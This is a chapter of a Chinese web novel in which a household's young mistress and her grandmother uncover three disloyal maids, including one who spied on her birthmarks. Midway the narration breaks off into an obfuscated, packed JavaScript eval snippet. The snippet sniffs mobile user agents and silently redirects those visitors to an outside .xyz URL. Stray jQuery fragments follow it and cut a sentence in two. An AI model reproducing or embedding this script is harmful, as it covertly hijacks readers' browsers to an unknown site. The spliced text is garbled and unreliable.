22. 内宅阴云丫鬟各怀鬼胎,事涉舅妹……

作品:《招夫

    第22章


    内厅立着两尊铜鹤香炉,一只铜鹤低头饮水,一只铜鹤展翅欲飞,姿态栩栩如生。它们背上有合页,内置香料。


    燃烧的熏香烟气盘旋直上,房间里没有一丝空气流动。


    连在场人的表情,也是凝固的。


    沈千鹤眼睛直勾勾地盯着面前的地砖,视线却没有焦距,不知神游到何处了。


    刘老太太害怕地牵住孙女的手,悄声试探:“千鹤,你打算怎么处置这几个丫鬟?”


    沈千鹤从沉思中惊醒。


    对上姥姥关心的眼神,她反握住老太太温暖干燥的手掌捏了捏,迅速挤出笑脸示意自己无碍。


    人有反应,不代表脑筋也转过来了。


    沈千鹤只能摇头,坦率承认自己听闻此事的震惊:“我原本没想过身边真会有背主的下人,一时间脑子混乱得很,没了主意。姥姥觉得呢?”


    沈千鹤眼底燃烧起充满报复欲的熊熊烈火。


    刘老太太看得心惊,她按住少女的手提醒:“什么时候处置有卖身契在手的丫鬟都方便,不要为不值当的人大动肝火。”


    沈千鹤不看刘老太太:“是。”


    只一个字,摆明了没气消。


    刘老太太为了转移她的注意力,强迫道:“说了家交给你管,遇上事情自己想,别想倚着我。”


    沈千鹤揉了揉发胀的额头,认真思索一会,脑子终于运转了。


    她转向李嬷嬷,“李嬷嬷先仔细和我说说不忠的都是哪几个,具体怎么回事吧。”


    不便详情,怎么好处置呢。


    李嬷嬷马上开始细说。


    “查出有问题的丫鬟总有三个。”


    “最先受不住的是大姑娘房里的二等丫头元宵,她跟赵春柳住在同一个房间里,负责的活计也相似,两个丫鬟平时同进同出。沈中秋和赵春柳两个联系紧密,元宵发现春柳时常握着一根银簪发呆,只当他们表哥表妹的互生情意,没对外提过。


    “前些日子沈昼背主的事情一闹开,春柳和中秋两个都被从主宅赶去庄子上了,元宵就觉得事情不好;但她不敢说,害怕自己被连累。刚刚问了没几句就开始捂着脸哭,说春柳什么都没和她说过,这些只是她的怀疑。”


    赵春柳是沈娟的长女,沈中秋是沈昼的儿子。


    春柳在郑家,跟着沈千鹤当二等丫鬟,专门负责挑拣和调弄新来的丫鬟;赵中秋在沈家,因为是个半大小子,内宅容不下,在前院混着,有什么活计喊一声就来干什么。


    现在被罚出去,两个人也没能发配到同一个田庄里。


    他们表姐弟之间出生差了半年,都十七往十八上数的岁数,怪不得元宵一开始没多想;但元宵后面几日明明有了怀疑,还假装什么都不知道,就犯忌讳了。


    刘老太太忍不住满面怒容地插嘴:“去庄子上提人了吗?”


    李嬷嬷连忙回话:“来回话之前,我已经派人去庄子上分开拿人了。”


    刘老太太不快撇嘴,摆手示意李嬷嬷继续。


    “第二个是姑娘身边的另一个大丫鬟鹩哥。”


    “鹩哥也是?她最近一个月因为月事不协一直病着。我都没让她做工,放人在房里卧床修养,她能做反过来对我捅刀子!”沈千鹤瞪大了眼睛,失声反驳。


    她实在是想不明白,自己哪里亏待身边丫鬟了吗?怎么左一个右一个的都背着她弄鬼。


    在沈千鹤开口之后,李嬷嬷反而停下不说话了。


    她为难地给刘老太太递眼色。


    刘老太太挥挥手:“照实说,内厅就咱们娘几个在这里,就算有腌臜事也用不着遮遮掩掩的。”


    李嬷嬷垂下眼帘,只好一脸为难地放轻声音照实说了,“鹩哥不是初来月事不调,是吃了落胎药,哄骗姑娘,偷偷坐小月子呢。”


    沈千鹤:“……啊?!”


    这也行?


    “她跟谁弄出的孩子?”她情不自禁提高音量,几乎尖叫起来。


    刘老太太心里却已经有数了。


    “千鹤,这个鹩哥是管着你衣裳的吧。”


    沈千鹤仍旧没明白,下意识便点头:“对,鹩哥手巧,几个丫头里面她最擅长裁衣绣花。我怕她做别的磨粗手,绣花时坏了料子,就专门让她管这些了。”


    刘老太太叹了口气:“我记得桐哥儿夸过好多次你衣着精致,出钱借你的丫鬟帮他缝袄子了。如此说好,鹩哥落掉的孩子,也是桐哥儿的了。”


    沈千鹤依旧想不通:“可、可、可……”


    “桐哥儿一心想把你娶进门。你连着几回拒婚,周桐便是再有自信也看出你眼里、心里是真没他这个人。”男女之间的事儿,刘老太太这个岁数了,看得太多了。


    她摇着头:“人钻牛角尖的时候,发现正道走不通,肯定要走歪门邪道。他恐怕也不是夸赞你的针线丫鬟得用,而是想借鹩哥拿你几件贴身私物,诬赖你和他有私情是最快的办法。”


    她抬眼往李嬷嬷身上看:“我猜准多少?”


    李嬷嬷尴尬点头,笑也不是、赞也不是,只能硬着头皮继续说:“周家哥儿一开始使钱给鹩哥,确实是想让鹩哥帮着偷东西。”


    “一开始?”沈千鹤咀嚼李嬷嬷的用词,两道秀眉高高扬起。


    李嬷嬷低下头,把实情轻声讲了:“鹩哥说她一开始恋慕桐哥儿对大姑娘的真情,后来家人来寻她,想让她自赎回家,再把她嫁出门再换笔嫁妆。她不甘心去农户人家吃苦头,于是动了心机,把主意打到咱家姑娘身上了。”


    “她与周家哥儿讨价还价,说她偷了主人的私物,大姑娘日后必不容她,要求桐哥儿写婚书与她,承诺大姑娘进门就抬她做妾,才肯办事。”


    “周桐起初不肯,鹩哥就学了姑娘的举止和神态,私底下见过几次之后,周桐果然上套与她滚到一张床上去了。”


    “鹩哥几回之后便怀上了,挺着肚子威胁周桐,说他不写婚书,就不打胎,挺着肚子闹到姑娘面前,让他这辈子都没法子梦想成真。”


    “周家哥儿彻底怕了,写了婚书与她,看着她把打胎药喝下肚。”


    李嬷嬷双手合十,对天拜了拜:“老天爷开眼呐!幸好鹩哥落胎之后下血不止,身体虚弱,起不来床。否则,周桐就不是为了拣一条姑娘的旧面巾摔死,而是要举着姑娘的贴身衣物上门逼婚了。”


    刘老太太冷哼:“确实是老天开眼,要不是鹩哥落了胎,周家王氏拼个鱼死网破也会把鹩哥带回去,好好养下遗腹子,日后让孽种回来找咱家报仇呢。”


    这种情况实属意外,确实怪不得沈千鹤没想到。


    刘老太太不想多讨论这个丫头的事情,催促:“快说。”


    “最后一个是北院负责洒扫的小丫头榆钱,她收了南院千珊姑娘使的银子,偷窥姑娘梳洗,把姑娘身上私密的地方说给千珊姑娘。后来又特意给千珊姑娘晚上开门,让她大晚上能和姑娘见面。”


    前面两个丫头都有错,但确实不好断定她们是不是和沈千鹤身体特征被传得满大街都是有关系,可李嬷嬷最后这段话一出口,值得被怀疑的对象瞬间缩小到沈千珊一个人身上了。


    沈千鹤急道:“榆钱都跟千珊说什么了?”


    李嬷嬷道:“榆钱交代,她对千珊小姐说姑娘的小腿上有一块红色胎记,左面额角的发缝里也有红色胎记,后脖根上有一朵小花似的茶色胎记,胸上有一粒小痣。”


    从别人嘴里说出自己身上不同之处的感觉十分古怪。


    比如发缝里的红色胎记和颈后的胎记,沈千鹤自己都不知道它们的存在。


    她心想,以为自己身体和其他人都一样,没想到身上奇异特征还真不少。


    刘老太太心疼地抚摸着孙女的手背:“千鹤自小跟着老爷子打熬筋骨,孩子


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15613857|171635||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    家家没那么多讲究,手脚露在外头的时候不少,早可能被人看去了。唯独……”


    口边的话被刘老太太咽下肚。


    家里的姑娘,即便年纪再小,前胸的特征也不能公开展示,类似的闲话传出去实在太难听了。


    禀报的内容结束,李嬷嬷站在一旁,不再言语,安静地好像她不存在。


    “没了?”


    李嬷嬷回话:“大姑娘,没了。”


    既然可以的人员已经确定,那么剩下的直接把惩罚措施发现去,免得人心惶惶。


    沈千鹤马上想到处罚措施:“给元宵扣三个月的的工钱,再挪到前院去做粗活。”


    元宵尚且如此,有心害她,踩着她攀高枝当姨娘的鹩哥,沈千鹤就更容不下了。


    “鹩哥一家子都是逃难过来的,都不必留在家里了。让牙行把她全家四口都送去新罗或者高句丽,凭她母女的针线本领,不难存活。”


    到了言语不通的地方,交流会成为最大的问题。


    想要熟练运用一门语言,鹩哥少说三年五载是用不上她那张巧嘴了,也就不好再施展黑心肝的诡计。


    这样才合适。


    但轮到处置北院负责洒扫的榆钱,沈千鹤反而犯难了。


    今天查问丫鬟的事情,在沈家内部动静不小,北院必定听到了动静。


    榆钱是被沈千珊收买的,处置她势必牵扯到沈千珊。


    沈千珊在沈家的情况太特殊了。


    沈千鹤的舅舅沈从军是被王氏救过,才迎娶这女人进门的,正因如此,即便沈千珊的出身存疑,看在舅舅的面子上,连沈老爷子和刘老太太都不好对王氏和这个孩子多说什么。


    既然如此,现在能轻易把沈千珊抓过来,像质问丫鬟似的对待沈千珊么?


    当然,沈千鹤也可以假装事情与沈千珊无关,随便找个借口,只把榆钱赶出北院,只拿丫鬟撒气。


    但是,凭什么呢?


    事情不查个水落石出,她咽不下这口气。


    当晚辈的坏处在这时候暴露无遗。


    沈千鹤强忍的怒火在心里重燃,她对刘老太太试探:“姥姥,剩下的事情,我不方便出面,可能要让你和姥爷请舅舅一起盘问了。”


    一句话进可查实,处置沈千珊;退可测量出姥姥姥爷在大事面前到底是维护她,还是梗护着舅舅。


    刘老太太没多想,温声叮嘱了:“这事情我肯定不能让你一个当晚辈的对上你舅舅。你回去歇着吧,别多想,该怎么样就怎么样。姥姥和姥爷给你撑腰。”


    沈千鹤脸色没有丝毫变化,但心里已经乐开花了。


    “姥姥放心,我不会受影响的。我要招赘上门,就算有什么风流传言也没影响,反正咱家的人脉和资源又不打算砸在我未来的丈夫身上。”


    资源和人情就那么多,用一次少一次。


    有时间花时间和心力扶持男人的青云志,还不如好好养下孩子,把孩子教育成材呢。


    沈千鹤笑着和刘老太太告别,离开院子,立刻绕着正院打转,想找机会折返回去。


    贺同章过来送近几日消耗木料和石材的账册,发现沈千鹤的动作,悄声过去:“表妹做什么呢?”


    “啊!”沈千鹤被吓得差点跳起来。


    她猛然捂嘴、转身撤步,一脚狠狠踩上贺同章的鞋面。


    沈千鹤一巴掌捂住贺同章的嘴,同时露出愧疚的神情。


    贺同章白皙的脸颊上晕开浅浅一层红痕,几颗门牙和嘴唇被少女的手掌打得发麻。


    他咬紧了压根,眼底闪过痛楚之色。


    疼痛袭来的一瞬间,他咬到舌头了。


    铁锈味在他口中散开。


    贺同章:……


    大内高手都难伤他,一个边城小女子倒是轻易成功了。


    不止唇齿和脚背疼的厉害,他的自信也快碎了。